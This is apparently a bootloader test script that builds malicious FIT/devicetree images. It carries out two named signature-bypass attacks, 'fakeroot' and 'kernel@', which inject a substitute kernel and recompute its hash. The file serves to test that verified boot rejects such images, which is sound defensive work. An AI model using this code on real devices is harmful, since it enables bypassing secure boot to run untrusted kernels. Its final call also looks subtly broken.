123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485 |
- # SPDX-License-Identifier: GPL-2.0
- # Copyright (c) 2020, Intel Corporation
- """Modifies a devicetree to add a fake root node, for testing purposes"""
- import hashlib
- import struct
- import sys
- FDT_PROP = 0x3
- FDT_BEGIN_NODE = 0x1
- FDT_END_NODE = 0x2
- FDT_END = 0x9
- FAKE_ROOT_ATTACK = 0
- KERNEL_AT = 1
- MAGIC = 0xd00dfeed
- EVIL_KERNEL_NAME = b'evil_kernel'
- FAKE_ROOT_NAME = b'f@keroot'
- def getstr(dt_strings, off):
- """Get a string from the devicetree string table
- Args:
- dt_strings (bytes): Devicetree strings section
- off (int): Offset of string to read
- Returns:
- str: String read from the table
- """
- output = ''
- while dt_strings[off]:
- output += chr(dt_strings[off])
- off += 1
- return output
- def align(offset):
- """Align an offset to a multiple of 4
- Args:
- offset (int): Offset to align
- Returns:
- int: Resulting aligned offset (rounds up to nearest multiple)
- """
- return (offset + 3) & ~3
- def determine_offset(dt_struct, dt_strings, searched_node_name):
- """Determines the offset of an element, either a node or a property
- Args:
- dt_struct (bytes): Devicetree struct section
- dt_strings (bytes): Devicetree strings section
- searched_node_name (str): element path, ex: /images/kernel@1/data
- Returns:
- tuple: (node start offset, node end offset)
- if element is not found, returns (None, None)
- """
- offset = 0
- depth = -1
- path = '/'
- object_start_offset = None
- object_end_offset = None
- object_depth = None
- while offset < len(dt_struct):
- (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
- if tag == FDT_BEGIN_NODE:
- depth += 1
- begin_node_offset = offset
- offset += 4
- node_name = getstr(dt_struct, offset)
- offset += len(node_name) + 1
- offset = align(offset)
- if path[-1] != '/':
- path += '/'
- path += str(node_name)
- if path == searched_node_name:
- object_start_offset = begin_node_offset
- object_depth = depth
- elif tag == FDT_PROP:
- begin_prop_offset = offset
- offset += 4
- len_tag, nameoff = struct.unpack('>II',
- dt_struct[offset:offset + 8])
- offset += 8
- prop_name = getstr(dt_strings, nameoff)
- len_tag = align(len_tag)
- offset += len_tag
- node_path = path + '/' + str(prop_name)
- if node_path == searched_node_name:
- object_start_offset = begin_prop_offset
- elif tag == FDT_END_NODE:
- offset += 4
- path = path[:path.rfind('/')]
- if not path:
- path = '/'
- if depth == object_depth:
- object_end_offset = offset
- break
- depth -= 1
- elif tag == FDT_END:
- break
- else:
- print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
- break
- return object_start_offset, object_end_offset
- def modify_node_name(dt_struct, node_offset, replcd_name):
- """Change the name of a node
- Args:
- dt_struct (bytes): Devicetree struct section
- node_offset (int): Offset of node
- replcd_name (str): New name for node
- Returns:
- bytes: New dt_struct contents
- """
- # skip 4 bytes for the FDT_BEGIN_NODE
- node_offset += 4
- node_name = getstr(dt_struct, node_offset)
- node_name_len = len(node_name) + 1
- node_name_len = align(node_name_len)
- replcd_name += b'\0'
- # align on 4 bytes
- while len(replcd_name) % 4:
- replcd_name += b'\0'
- dt_struct = (dt_struct[:node_offset] + replcd_name +
- dt_struct[node_offset + node_name_len:])
- return dt_struct
- def modify_prop_content(dt_struct, prop_offset, content):
- """Overwrite the value of a property
- Args:
- dt_struct (bytes): Devicetree struct section
- prop_offset (int): Offset of property (FDT_PROP tag)
- content (bytes): New content for the property
- Returns:
- bytes: New dt_struct contents
- """
- # skip FDT_PROP
- prop_offset += 4
- (len_tag, nameoff) = struct.unpack('>II',
- dt_struct[prop_offset:prop_offset + 8])
- # compute padded original node length
- original_node_len = len_tag + 8 # content length + prop meta data len
- original_node_len = align(original_node_len)
- added_data = struct.pack('>II', len(content), nameoff)
- added_data += content
- while len(added_data) % 4:
- added_data += b'\0'
- dt_struct = (dt_struct[:prop_offset] + added_data +
- dt_struct[prop_offset + original_node_len:])
- return dt_struct
- def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
- required=True):
- """Change a given property value
- Args:
- dt_struct (bytes): Devicetree struct section
- dt_strings (bytes): Devicetree strings section
- prop_path (str): full path of the target property
- prop_value (bytes): new property name
- required (bool): raise an exception if property not found
- Returns:
- bytes: New dt_struct contents
- Raises:
- ValueError: if the property is not found
- """
- (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
- if rt_node_start is None:
- if not required:
- return dt_struct
- raise ValueError('Fatal error, unable to find prop %s' % prop_path)
- dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
- return dt_struct
- def change_node_name(dt_struct, dt_strings, node_path, node_name):
- """Change a given node name
- Args:
- dt_struct (bytes): Devicetree struct section
- dt_strings (bytes): Devicetree strings section
- node_path (str): full path of the target node
- node_name (str): new node name, just node name not full path
- Returns:
- bytes: New dt_struct contents
- Raises:
- ValueError: if the node is not found
- """
- (rt_node_start, rt_node_end) = (
- determine_offset(dt_struct, dt_strings, node_path))
- if rt_node_start is None or rt_node_end is None:
- raise ValueError('Fatal error, unable to find root node')
- dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
- return dt_struct
- def get_prop_value(dt_struct, dt_strings, prop_path):
- """Get the content of a property based on its path
- Args:
- dt_struct (bytes): Devicetree struct section
- dt_strings (bytes): Devicetree strings section
- prop_path (str): full path of the target property
- Returns:
- bytes: Property value
- Raises:
- ValueError: if the property is not found
- """
- (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
- if offset is None:
- raise ValueError('Fatal error, unable to find prop')
- offset += 4
- (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
- offset += 8
- tag_data = dt_struct[offset:offset + len_tag]
- return tag_data
- def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
- """Conduct the kernel@ attack
- It fetches from /configurations/default the name of the kernel being loaded.
- Then, if the kernel name does not contain any @sign, duplicates the kernel
- in /images node and appends '@evil' to its name.
- It inserts a new kernel content and updates its images digest.
- Inputs:
- - FIT dt_struct
- - FIT dt_strings
- - kernel content blob
- - kernel hash blob
- Important note: it assumes the U-Boot loading method is 'kernel' and the
- loaded kernel hash's subnode name is 'hash-1'
- """
- # retrieve the default configuration name
- default_conf_name = get_prop_value(
- dt_struct, dt_strings, '/configurations/default')
- default_conf_name = str(default_conf_name[:-1], 'utf-8')
- conf_path = '/configurations/' + default_conf_name
- # fetch the loaded kernel name from the default configuration
- loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
- loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
- if loaded_kernel.find('@') != -1:
- print('kernel@ attack does not work on nodes already containing an @ sign!')
- sys.exit()
- # determine boundaries of the loaded kernel
- (krn_node_start, krn_node_end) = (determine_offset(
- dt_struct, dt_strings, '/images/' + loaded_kernel))
- if krn_node_start is None and krn_node_end is None:
- print('Fatal error, unable to find root node')
- sys.exit()
- # copy the loaded kernel
- loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
- # insert the copy inside the tree
- dt_struct = dt_struct[:krn_node_start] + \
- loaded_kernel_copy + dt_struct[krn_node_start:]
- evil_kernel_name = loaded_kernel+'@evil'
- # change the inserted kernel name
- dt_struct = change_node_name(
- dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
- # change the content of the kernel being loaded
- dt_struct = change_property_value(
- dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
- # change the content of the kernel being loaded
- dt_struct = change_property_value(
- dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
- return dt_struct
- def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
- """Conduct the fakenode attack
- It duplicates the original root node at the beginning of the tree.
- Then it modifies within this duplicated tree:
- - The loaded kernel name
- - The loaded kernel data
- Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
- hash's subnode name is hash@1
- """
- # retrieve the default configuration name
- default_conf_name = get_prop_value(
- dt_struct, dt_strings, '/configurations/default')
- default_conf_name = str(default_conf_name[:-1], 'utf-8')
- conf_path = '/configurations/'+default_conf_name
- # fetch the loaded kernel name from the default configuration
- loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
- loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
- # determine root node start and end:
- (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
- if (rt_node_start is None) or (rt_node_end is None):
- print('Fatal error, unable to find root node')
- sys.exit()
- # duplicate the whole tree
- duplicated_node = dt_struct[rt_node_start:rt_node_end]
- # dchange root name (empty name) to fake root name
- new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
- dt_struct = new_dup + dt_struct
- # change the value of /<fake_root_name>/configs/<default_config_name>/kernel
- # so our modified kernel will be loaded
- base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
- value_path = base + conf_path+'/kernel'
- dt_struct = change_property_value(dt_struct, dt_strings, value_path,
- EVIL_KERNEL_NAME + b'\0')
- # change the node of the /<fake_root_name>/images/<original_kernel_name>
- images_path = base + '/images/'
- node_path = images_path + loaded_kernel
- dt_struct = change_node_name(dt_struct, dt_strings, node_path,
- EVIL_KERNEL_NAME)
- # change the content of the kernel being loaded
- data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
- dt_struct = change_property_value(dt_struct, dt_strings, data_path,
- kernel_content, required=False)
- # update the digest value
- hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
- dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
- kernel_digest)
- return dt_struct
- def add_evil_node(in_fname, out_fname, kernel_fname, attack):
- """Add an evil node to the devicetree
- Args:
- in_fname (str): Filename of input devicetree
- out_fname (str): Filename to write modified devicetree to
- kernel_fname (str): Filename of kernel data to add to evil node
- attack (str): Attack type ('fakeroot' or 'kernel@')
- Raises:
- ValueError: Unknown attack name
- """
- if attack == 'fakeroot':
- attack = FAKE_ROOT_ATTACK
- elif attack == 'kernel@':
- attack = KERNEL_AT
- else:
- raise ValueError('Unknown attack name!')
- with open(in_fname, 'rb') as fin:
- input_data = fin.read()
- hdr = input_data[0:0x28]
- offset = 0
- magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
- if magic != MAGIC:
- raise ValueError('Wrong magic!')
- offset += 4
- (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
- last_comp_version, boot_cpuid_phys, size_dt_strings,
- size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
- rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
- dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
- dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
- with open(kernel_fname, 'rb') as kernel_file:
- kernel_content = kernel_file.read()
- # computing inserted kernel hash
- val = hashlib.sha1()
- val.update(kernel_content)
- hash_digest = val.digest()
- if attack == FAKE_ROOT_ATTACK:
- dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
- hash_digest)
- elif attack == KERNEL_AT:
- dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
- hash_digest)
- # now rebuild the new file
- size_dt_strings = len(dt_strings)
- size_dt_struct = len(dt_struct)
- totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
- off_mem_rsvmap = 0x28
- off_dt_struct = off_mem_rsvmap + len(rsv_map)
- off_dt_strings = off_dt_struct + len(dt_struct)
- header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
- off_dt_strings, off_mem_rsvmap, version,
- last_comp_version, boot_cpuid_phys, size_dt_strings,
- size_dt_struct)
- with open(out_fname, 'wb') as output_file:
- output_file.write(header)
- output_file.write(rsv_map)
- output_file.write(dt_struct)
- output_file.write(dt_strings)
- if __name__ == '__main__':
- if len(sys.argv) != 5:
- print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
- sys.argv[0])
- print('valid attack names: [fakeroot, kernel@]')
- sys.exit(1)
- add_evil_node(sys.argv[1:])
|